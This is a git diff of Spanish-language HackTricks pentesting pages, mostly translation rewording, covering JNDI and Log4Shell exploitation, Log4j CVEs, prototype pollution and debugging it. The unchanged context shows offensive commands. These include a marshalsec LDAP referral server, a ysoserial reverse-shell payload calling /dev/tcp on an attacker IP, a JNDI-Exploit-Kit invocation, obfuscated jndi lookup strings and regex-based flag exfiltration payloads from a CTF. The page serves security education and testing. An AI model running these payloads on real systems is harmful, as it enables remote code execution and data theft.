* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
</details>

View file

@ -8,15 +8,15 @@ Otras formas de apoyar a HackTricks:
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) en GitHub.
</details>
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
Encuentra las vulnerabilidades que más importan para que puedas solucionarlas más rápido. Intruder rastrea tu superficie de ataque, ejecuta escaneos proactivos de amenazas, encuentra problemas en toda tu pila tecnológica, desde APIs hasta aplicaciones web y sistemas en la nube. [**¡Pruébalo gratis**](https://www.intruder.io/?utm_source=referral\&utm_campaign=hacktricks) hoy.
Encuentra las vulnerabilidades que más importan para que puedas solucionarlas más rápido. Intruder rastrea tu superficie de ataque, ejecuta escaneos proactivos de amenazas, encuentra problemas en toda tu pila tecnológica, desde APIs hasta aplicaciones web y sistemas en la nube. [**¡Pruébalo gratis hoy!**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks)
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
@ -24,7 +24,7 @@ Encuentra las vulnerabilidades que más importan para que puedas solucionarlas m
## Información Básica
JNDI, integrado en Java desde finales de la década de 1990, sirve como un servicio de directorio, permitiendo a los programas Java localizar datos u objetos a través de un sistema de nombres. Admite varios servicios de directorio a través de interfaces de proveedor de servicios (SPI), lo que permite la recuperación de datos de diferentes sistemas, incluidos objetos Java remotos. Los SPI comunes incluyen CORBA COS, Registro de Java RMI y LDAP.
JNDI, integrado en Java desde finales de la década de 1990, sirve como un servicio de directorio, permitiendo a los programas Java localizar datos u objetos a través de un sistema de nombres. Admite varios servicios de directorio a través de interfaces de proveedores de servicios (SPIs), lo que permite la recuperación de datos de diferentes sistemas, incluidos objetos Java remotos. Los SPIs comunes incluyen CORBA COS, Registro de Java RMI y LDAP.
### Referencia de Nombres JNDI
Los objetos Java se pueden almacenar y recuperar utilizando Referencias de Nombres JNDI, que se presentan en dos formas:
@ -52,7 +52,7 @@ A pesar de las protecciones, las vulnerabilidades persisten, principalmente debi
![](<../../.gitbook/assets/image (655) (1) (1).png>)
Incluso si has establecido un **`PROVIDER_URL`**, puedes indicar uno diferente en una búsqueda y se accederá a él: `ctx.lookup("<url-controlada-por-atacante>")` y eso es lo que un atacante aprovechará para cargar objetos arbitrarios desde un sistema controlado por él.
Incluso si has establecido un **`PROVIDER_URL`**, puedes indicar uno diferente en una búsqueda y se accederá a él: `ctx.lookup("<URL-controlada-por-atacante>")` y eso es lo que un atacante aprovechará para cargar objetos arbitrarios desde un sistema controlado por él.
### Descripción General de CORBA
@ -64,7 +64,7 @@ CORBA (Common Object Request Broker Architecture) emplea una **Referencia de Obj
Es importante destacar que CORBA no es inherentemente vulnerable. Asegurar la seguridad generalmente implica:
- Instalación de un **Administrador de Seguridad**.
- Configurar el Administrador de Seguridad para permitir conexiones a bases de código potencialmente maliciosas. Esto se puede lograr a través de:
- Configuración del Administrador de Seguridad para permitir conexiones a bases de código potencialmente maliciosas. Esto se puede lograr a través de:
- Permiso de Socket, por ejemplo, ````permissions java.net.SocketPermission "*:1098-1099", "connect";````.
- Permisos de lectura de archivos, ya sea de forma universal (````permission java.io.FilePermission "<<ALL FILES>>", "read";````) o para directorios específicos donde podrían colocarse archivos maliciosos.
@ -83,7 +83,7 @@ Una **consulta** está destinada a **servicios de nombres** ya que queremos obte
Si la búsqueda LDAP se invocó con **SearchControls.setReturningObjFlag() con `true`, entonces el objeto devuelto será reconstruido**.
Por lo tanto, hay varias formas de atacar estas opciones.\
Un **atacante puede envenenar registros LDAP introduciendo payloads** en ellos que se ejecutarán en los sistemas que los recopilan (muy útil para **comprometer decenas de máquinas** si tienes acceso al servidor LDAP). Otra forma de explotar esto sería realizar un **ataque de MitM en una búsqueda LDAP**, por ejemplo.
Un **atacante puede envenenar registros LDAP introduciendo payloads** en ellos que se ejecutarán en los sistemas que los recopilan (muy útil para **comprometer decenas de máquinas** si se tiene acceso al servidor LDAP). Otra forma de explotar esto sería realizar un **ataque de MitM en una búsqueda LDAP**, por ejemplo.
En caso de que puedas **hacer que una aplicación resuelva una URL LDAP de JNDI**, puedes controlar el LDAP que se buscará, y podrías enviar de vuelta el exploit (log4shell).
@ -96,17 +96,17 @@ En caso de que `trustURLCodebase` sea `true`, un atacante puede proporcionar sus
#### Exploit de Referencia JNDI
Es más fácil atacar este LDAP usando **referencias de JavaFactory**:
Es más fácil atacar este LDAP utilizando **referencias de JavaFactory**:
![](<../../.gitbook/assets/image (660) (1) (1).png>)
## Vulnerabilidad Log4Shell
La vulnerabilidad se introduce en Log4j porque admite una [**sintaxis especial**](https://logging.apache.org/log4j/2.x/manual/configuration.html#PropertySubstitution) en la forma `${prefijo:nombre}` donde `prefijo` es uno de varios [**Lookups**](https://logging.apache.org/log4j/2.x/manual/lookups.html) diferentes donde `nombre` debe evaluarse. Por ejemplo, `${java:version}` es la versión actual de Java en ejecución.
La vulnerabilidad se introduce en Log4j porque admite una [**sintaxis especial**](https://logging.apache.org/log4j/2.x/manual/configuration.html#PropertySubstitution) en la forma `${prefijo:nombre}` donde `prefijo` es uno de varios [**Lookups**](https://logging.apache.org/log4j/2.x/manual/lookups.html) donde `nombre` debe evaluarse. Por ejemplo, `${java:version}` es la versión actual en ejecución de Java.
[**LOG4J2-313**](https://issues.apache.org/jira/browse/LOG4J2-313) introdujo una característica de `jndi` Lookup. Esta característica permite la recuperación de variables a través de JNDI. Típicamente, la clave se prefiere automáticamente con `java:comp/env/`. Sin embargo, si la clave en sí incluye un **":"**, este prefijo predeterminado no se aplica.
Con un **":" presente** en la clave, como en `${jndi:ldap://ejemplo.com/a}`, no hay prefijo y se **consulta al servidor LDAP para el objeto**. Y estos Lookups se pueden utilizar tanto en la configuración de Log4j como al registrar líneas.
Con un **":" presente** en la clave, como en `${jndi:ldap://ejemplo.com/a}`, no hay **prefijo** y se **consulta al servidor LDAP para el objeto**. Y estos Lookups se pueden utilizar tanto en la configuración de Log4j como al registrar líneas.
Por lo tanto, lo único necesario para obtener RCE es una **versión vulnerable de Log4j procesando información controlada por el usuario**. Y debido a que esta es una biblioteca ampliamente utilizada por aplicaciones Java para registrar información (incluidas las aplicaciones orientadas a Internet), era muy común tener log4j registrando, por ejemplo, cabeceras HTTP recibidas como el User-Agent. Sin embargo, log4j **no se usa solo para registrar información HTTP sino cualquier entrada** y datos que el desarrollador haya indicado.
@ -119,16 +119,16 @@ Esta vulnerabilidad es una grave **falla de deserialización no confiable** en e
Inicialmente calificado como bajo pero luego actualizado a crítico, este CVE es una falla de **Denegación de Servicio (DoS)** resultante de una corrección incompleta en 2.15.0 para CVE-2021-44228. Afecta a configuraciones no predeterminadas, lo que permite a los atacantes causar ataques DoS a través de payloads manipulados. Un [tweet](https://twitter.com/marcioalm/status/1471740771581652995) muestra un método de bypass. El problema se resuelve en las versiones 2.16.0 y 2.12.2 al eliminar los patrones de búsqueda de mensajes y deshabilitar JNDI de forma predeterminada.
### [CVE-2021-4104](https://nvd.nist.gov/vuln/detail/CVE-2021-4104) **[Alto]**
Afectando las versiones de **Log4j 1.x** en configuraciones no predeterminadas que utilizan `JMSAppender`, este CVE es una falla de deserialización no confiable. No hay una corrección disponible para la rama 1.x, que está fuera de servicio, y se recomienda actualizar a `log4j-core 2.17.0`.
Afectando las **versiones 1.x de Log4j** en configuraciones no predeterminadas que utilizan `JMSAppender`, este CVE es una falla de deserialización no confiable. No hay una corrección disponible para la rama 1.x, que ha llegado al final de su vida útil, y se recomienda actualizar a `log4j-core 2.17.0`.
### [CVE-2021-42550](https://nvd.nist.gov/vuln/detail/CVE-2021-42550) **[Moderado]**
Esta vulnerabilidad afecta al **framework de registro Logback**, sucesor de Log4j 1.x. Anteriormente se creía que era seguro, pero se descubrió que el framework era vulnerable, y se han lanzado nuevas versiones (1.3.0-alpha11 y 1.2.9) para abordar el problema.
### **CVE-2021-45105** **[Alto]**
Log4j 2.16.0 contiene una falla de DoS, lo que llevó al lanzamiento de `log4j 2.17.0` para solucionar el CVE. Se pueden encontrar más detalles en el informe de BleepingComputer [aquí](https://www.bleepingcomputer.com/news/security/upgraded-to-log4j-216-surprise-theres-a-217-fixing-dos/).
Log4j 2.16.0 contiene una falla de DoS, lo que llevó al lanzamiento de `log4j 2.17.0` para solucionar el CVE. Más detalles están en el [informe](https://www.bleepingcomputer.com/news/security/upgraded-to-log4j-216-surprise-theres-a-217-fixing-dos/) de BleepingComputer.
### [CVE-2021-44832](https://checkmarx.com/blog/cve-2021-44832-apache-log4j-2-17-0-arbitrary-code-execution-via-jdbcappender-datasource-element/)
Afectando a la versión 2.17 de log4j, este CVE requiere que el atacante controle el archivo de configuración de log4j. Implica una posible ejecución de código arbitrario a través de un JDBCAppender configurado. Se pueden encontrar más detalles en la publicación del blog de [Checkmarx](https://checkmarx.com/blog/cve-2021-44832-apache-log4j-2-17-0-arbitrary-code-execution-via-jdbcappender-datasource-element/).
Afectando a la versión 2.17 de log4j, este CVE requiere que el atacante controle el archivo de configuración de log4j. Implica una posible ejecución de código arbitrario a través de un JDBCAppender configurado. Más detalles están disponibles en la [publicación del blog de Checkmarx](https://checkmarx.com/blog/cve-2021-44832-apache-log4j-2-17-0-arbitrary-code-execution-via-jdbcappender-datasource-element/).
## Explotación de Log4Shell
@ -220,11 +220,11 @@ Any other env variable name that could store sensitive information
### Información de RCE
{% hint style="info" %}
Los hosts que ejecutan versiones de JDK superiores a 6u141, 7u131 o 8u121 están protegidos contra el vector de ataque de carga de clases LDAP. Esto se debe a la desactivación predeterminada de `com.sun.jndi.ldap.object.trustURLCodebase`, que evita que JNDI cargue una base de código remota a través de LDAP. Sin embargo, es crucial tener en cuenta que estas versiones **no están protegidas contra el vector de ataque de deserialización**.
Los hosts que ejecutan versiones de JDK superiores a 6u141, 7u131 o 8u121 están protegidos contra el vector de ataque de carga de clases LDAP. Esto se debe a la desactivación predeterminada de `com.sun.jndi.ldap.object.trustURLCodebase`, que evita que JNDI cargue un codebase remoto a través de LDAP. Sin embargo, es crucial tener en cuenta que estas versiones **no están protegidas contra el vector de ataque de deserialización**.
Para los atacantes que buscan explotar estas versiones JDK superiores, es necesario aprovechar un **gadget de confianza** dentro de la aplicación Java. Herramientas como ysoserial o JNDIExploit se utilizan a menudo con este propósito. Por el contrario, explotar versiones JDK inferiores es relativamente más fácil, ya que estas versiones pueden manipularse para cargar y ejecutar clases arbitrarias.
Para los atacantes que buscan explotar estas versiones de JDK superiores, es necesario aprovechar un **gadget de confianza** dentro de la aplicación Java. Herramientas como ysoserial o JNDIExploit se utilizan a menudo con este propósito. Por el contrario, explotar versiones inferiores de JDK es relativamente más fácil, ya que estas versiones pueden manipularse para cargar y ejecutar clases arbitrarias.
Para **más información** (_como limitaciones en los vectores RMI y CORBA_) **consulte la sección anterior de Referencia de Nombres JNDI** o [https://jfrog.com/blog/log4shell-0-day-vulnerability-all-you-need-to-know/](https://jfrog.com/blog/log4shell-0-day-vulnerability-all-you-need-to-know/)
Para **más información** (_como limitaciones en los vectores RMI y CORBA_) **consulte la sección de Referencia de Nombres JNDI anterior** o [https://jfrog.com/blog/log4shell-0-day-vulnerability-all-you-need-to-know/](https://jfrog.com/blog/log4shell-0-day-vulnerability-all-you-need-to-know/)
{% endhint %}
### RCE - Marshalsec con carga útil personalizada
@ -235,7 +235,7 @@ Utiliza la herramienta [**marshalsec**](https://github.com/mbechler/marshalsec)
```bash
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://<your_ip_http_server>:8000/#Exploit"
```
Para incitar al objetivo a cargar un código de shell inverso, crea un archivo Java llamado `Exploit.java` con el siguiente contenido:
Para incitar al objetivo a cargar un código de shell inversa, crea un archivo Java llamado `Exploit.java` con el siguiente contenido:
```java
public class Exploit {
static {
@ -317,7 +317,7 @@ Usando **ysoserial** o [**ysoserial-modified**](https://github.com/pimps/ysoseri
# Rev shell via CommonsCollections5
java -jar ysoserial-modified.jar CommonsCollections5 bash 'bash -i >& /dev/tcp/10.10.14.10/7878 0>&1' > /tmp/cc5.ser
```
Utiliza [**JNDI-Exploit-Kit**](https://github.com/pimps/JNDI-Exploit-Kit) para generar **enlaces JNDI** donde el exploit estará esperando conexiones de las máquinas vulnerables. Puedes servir **diferentes exploits que pueden generarse automáticamente** por el JNDI-Exploit-Kit o incluso tus **propios payloads de deserialización** (generados por ti o ysoserial).
Utiliza [**JNDI-Exploit-Kit**](https://github.com/pimps/JNDI-Exploit-Kit) para generar **enlaces JNDI** donde el exploit estará esperando conexiones de las máquinas vulnerables. Puedes servir **diferentes exploits que pueden generarse automáticamente** por el JNDI-Exploit-Kit o incluso tus propios **cargas útiles de deserialización** (generados por ti o ysoserial).
```bash
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 10.10.14.10:1389 -P /tmp/cc5.ser
```
@ -355,7 +355,7 @@ ${${lower:jnd}${lower:${upper:ı}}:ldap://...} //Notice the unicode "i"
* [**https://github.com/leonjza/log4jpwn**](https://github.com/leonjza/log4jpwn)
* [**https://github.com/christophetd/log4shell-vulnerable-app**](https://github.com/christophetd/log4shell-vulnerable-app)
## Explotación Post-Log4Shell
## Post-Explotación de Log4Shell
En este [**writeup de CTF**](https://intrigus.org/research/2022/07/18/google-ctf-2022-log4j2-writeup/) se explica bien cómo es potencialmente **posible** **abu**sar algunas características de **Log4J**.
@ -376,7 +376,7 @@ Por ejemplo, en ese CTF esto estaba configurado en el archivo log4j2.xml:
```
### Búsquedas de Env
En [este CTF](https://sigflag.at/blog/2022/writeup-googlectf2022-log4j/), el atacante controlaba el valor de `${sys:cmd}` y necesitaba exfiltrar la bandera de una variable de entorno.\
En [este CTF](https://sigflag.at/blog/2022/writeup-googlectf2022-log4j/) el atacante controlaba el valor de `${sys:cmd}` y necesitaba extraer la bandera de una variable de entorno.\
Como se ve en esta página en [**cargas útiles anteriores**](jndi-java-naming-and-directory-interface-and-log4shell.md#verification) hay diferentes formas de acceder a variables de entorno, como: **`${env:FLAG}`**. En este CTF esto fue inútil pero podría ser útil en otros escenarios de la vida real.
### Exfiltración en Excepciones
@ -395,12 +395,12 @@ Esto no resultó útil para exfiltrar datos dentro del mensaje de error, porque
### Patrones de Conversión Regex
Sin embargo, es posible utilizar algunos **patrones de conversión que admiten regexes** para exfiltrar información de una búsqueda mediante el uso de regexes y abusando de comportamientos de **búsqueda binaria** o basados en **tiempo**.
Sin embargo, es posible usar algunos **patrones de conversión que admiten regexes** para exfiltrar información de una búsqueda mediante el uso de regexes y abusando de comportamientos de **búsqueda binaria** o **basados en el tiempo**.
* **Búsqueda binaria a través de mensajes de excepción**
El patrón de conversión **`%replace`** se puede usar para **reemplazar** **contenido** de una **cadena** incluso usando **regexes**. Funciona así: `replace{patrón}{regex}{sustitución}`\
Abusando de este comportamiento podrías hacer que el **reemplazo desencadene una excepción si el regex coincide** con algo dentro de la cadena (y no habrá excepción si no se encuentra) de esta manera:
Abusando de este comportamiento podrías hacer que el reemplazo **desencadene una excepción si el regex coincide** con algo dentro de la cadena (y no habrá excepción si no se encuentra) de esta manera:
```bash
%replace{${env:FLAG}}{^CTF.*}{${error}}
# The string searched is the env FLAG, the regex searched is ^CTF.*
@ -408,8 +408,8 @@ Abusando de este comportamiento podrías hacer que el **reemplazo desencadene un
```
* **Basado en el tiempo**
Como se mencionó en la sección anterior, **`%replace`** admite **regexes**. Por lo tanto, es posible utilizar un payload de la [página de ReDoS](../regular-expression-denial-of-service-redos.md) para causar un **tiempo de espera** en caso de encontrar la bandera.\
Por ejemplo, un payload como `%replace{${env:FLAG}}{^(?=CTF)((.`_`)`_`)*salt$}{asd}` desencadenaría un **tiempo de espera** en ese CTF.
Como se mencionó en la sección anterior, **`%replace`** admite **regexes**. Por lo tanto, es posible utilizar un payload de la [página de ReDoS](../regular-expression-denial-of-service-redos.md) para causar un **timeout** en caso de encontrar la bandera.\
Por ejemplo, un payload como `%replace{${env:FLAG}}{^(?=CTF)((.`_`)`_`)*salt$}{asd}` desencadenaría un **timeout** en ese CTF.
En este [**writeup**](https://intrigus.org/research/2022/07/18/google-ctf-2022-log4j2-writeup/), en lugar de usar un ataque ReDoS, se utilizó un **ataque de amplificación** para causar una diferencia de tiempo en la respuesta:
@ -430,9 +430,9 @@ En este [**writeup**](https://intrigus.org/research/2022/07/18/google-ctf-2022-l
> }{#}{######################################################}
> ```
>
> Si la bandera comienza con `flagGuess`, toda la bandera se reemplaza con 29 `#`-s (usé este carácter porque probablemente no formaría parte de la bandera). **Cada uno de los 29 `#`-s resultantes luego es reemplazado por 54 `#`-s**. Este proceso se repite **6 veces**, lo que lleva a un total de ` 29*54*54^6* =`` `` `**`96816014208` `#`-s!**
> Si la bandera comienza con `flagGuess`, toda la bandera se reemplaza con 29 `#` (usé este carácter porque probablemente no formaría parte de la bandera). **Cada uno de los 29 `#` resultantes luego es reemplazado por 54 `#`**. Este proceso se repite **6 veces**, lo que lleva a un total de ` 29*54*54^6* =`` `` `**`96816014208` `#` ¡s!**
>
> Reemplazar tantos `#`-s desencadenará el tiempo de espera de 10 segundos de la aplicación Flask, lo que a su vez resultará en el envío del código de estado HTTP 500 al usuario. (Si la bandera no comienza con `flagGuess`, recibiremos un código de estado no 500)
> Reemplazar tantos `#` provocará que se active el timeout de 10 segundos de la aplicación Flask, lo que a su vez resultará en el envío del código de estado HTTP 500 al usuario. (Si la bandera no comienza con `flagGuess`, recibiremos un código de estado no 500)
## Referencias
@ -447,7 +447,7 @@ En este [**writeup**](https://intrigus.org/research/2022/07/18/google-ctf-2022-l
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
Encuentra las vulnerabilidades que más importan para que puedas solucionarlas más rápido. Intruder rastrea tu superficie de ataque, ejecuta escaneos proactivos de amenazas, encuentra problemas en toda tu pila tecnológica, desde APIs hasta aplicaciones web y sistemas en la nube. [**¡Pruébalo gratis**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) hoy.
Encuentra las vulnerabilidades que más importan para que puedas solucionarlas más rápido. Intruder rastrea tu superficie de ataque, ejecuta escaneos proactivos de amenazas, encuentra problemas en toda tu pila tecnológica, desde APIs hasta aplicaciones web y sistemas en la nube. [**Pruébalo gratis**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) hoy.
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
@ -461,7 +461,7 @@ Otras formas de apoyar a HackTricks:
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>

View file

@ -9,14 +9,14 @@ Otras formas de apoyar a HackTricks:
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme en** **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
</details>
## Objetos en JavaScript <a href="#053a" id="053a"></a>
Los objetos en JavaScript son esencialmente colecciones de pares clave-valor, conocidos como propiedades. Un objeto puede crearse utilizando `Object.create` con `null` como argumento para producir un objeto vacío. Este método permite la creación de un objeto sin propiedades heredadas.
Los objetos en JavaScript son esencialmente colecciones de pares clave-valor, conocidos como propiedades. Un objeto puede crearse utilizando `Object.create` con `null` como argumento para producir un objeto vacío. Este método permite la creación de un objeto sin ninguna propiedad heredada.
```javascript
// Run this in the developers tools console
console.log(Object.create(null)); // This will output an empty object.
@ -68,7 +68,7 @@ this.model = model;
}
var car1 = new Vehicle("Tesla Model S");
```
El acceso al prototipo de Object es posible a través de:
El acceso al prototipo del objeto es posible a través de:
```javascript
car1.__proto__.__proto__;
Vehicle.__proto__.__proto__;
@ -106,7 +106,7 @@ car1.constructor.prototype.isElectric = true;
```
Esto afecta solo a los objetos creados a partir del constructor `Vehicle`, dándoles las propiedades `beep`, `hasWheels`, `honk` e `isElectric`.
Dos métodos para afectar globalmente a los objetos JavaScript a través de la contaminación del prototipo incluyen:
Dos métodos para afectar globalmente a los objetos de JavaScript a través de la contaminación del prototipo incluyen:
1. Contaminando directamente el `Object.prototype`:
```javascript
@ -123,7 +123,7 @@ Después de estas operaciones, cada objeto JavaScript puede ejecutar los método
### De una clase a Object.prototype
En un escenario donde puedes **contaminar un objeto específico** y necesitas **llegar a `Object.prototype`** puedes buscarlo con algo como el siguiente código:
En un escenario donde puedes **contaminar un objeto específico** y necesitas **llegar a `Object.prototype`** puedes buscarlo con algo similar al siguiente código:
```javascript
// From https://blog.huli.tw/2022/05/02/en/intigriti-revenge-challenge-author-writeup/
@ -274,7 +274,7 @@ const template = Handlebars.precompile(source);
console.log(eval('(' + template + ')')['main'].toString());
```
Este código muestra cómo un atacante podría inyectar código arbitrario en una plantilla Handlebars.
Este código muestra cómo un atacante podría inyectar código arbitrario en una plantilla de Handlebars.
**Referencia Externa**: Se encontró un problema relacionado con la contaminación de prototipos en la biblioteca 'flat', como se detalla aquí: [Issue on GitHub](https://github.com/hughsk/flat/issues/105).
@ -357,9 +357,9 @@ Para reducir el riesgo de la contaminación de prototipos, se pueden emplear las
Otras formas de apoyar a HackTricks:
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github.
</details>

View file

@ -9,7 +9,7 @@ Otras formas de apoyar a HackTricks:
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
</details>
@ -62,7 +62,7 @@ origValue = val;
debugAccess(Object.prototype, 'ppmap')
```
4. Regresa a la pestaña de **Sources** y selecciona "Reanudar la ejecución del script". El JavaScript continuará ejecutándose y la propiedad 'ppmap' se verá contaminada como se esperaba. Utilizar el fragmento proporcionado facilita la identificación de la ubicación exacta donde se contamina la propiedad 'ppmap'. Al examinar la **Pila de Llamadas**, se pueden observar diferentes pilas donde ocurrió la contaminación.
4. Navega de regreso a la pestaña **Sources** y selecciona "Reanudar la ejecución del script". El JavaScript continuará ejecutándose y la propiedad 'ppmap' se verá contaminada como se esperaba. Utilizando el fragmento proporcionado facilita la identificación de la ubicación exacta donde se contamina la propiedad 'ppmap'. Al examinar la **Pila de Llamadas**, se pueden observar diferentes pilas donde ocurrió la contaminación.
Al decidir qué pila investigar, suele ser útil apuntar a pilas asociadas con archivos de bibliotecas de JavaScript, ya que la contaminación de prototipos ocurre con frecuencia dentro de estas bibliotecas. Identifica la pila relevante examinando su conexión con los archivos de biblioteca (visibles en el lado derecho, similar a una imagen proporcionada como guía). En escenarios con múltiples pilas, como las de las líneas 4 y 6, la elección lógica es la pila en la línea 4, ya que representa la ocurrencia inicial de la contaminación y, por lo tanto, la causa raíz de la vulnerabilidad. Al hacer clic en la pila, te dirigirá al código vulnerable.
@ -132,7 +132,7 @@ Otras formas de apoyar a HackTricks:
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>

View file

@ -1,22 +1,22 @@
# De la Contaminación de Prototipos a RCE
# Explotación de la Polución de Prototipos para RCE
<details>
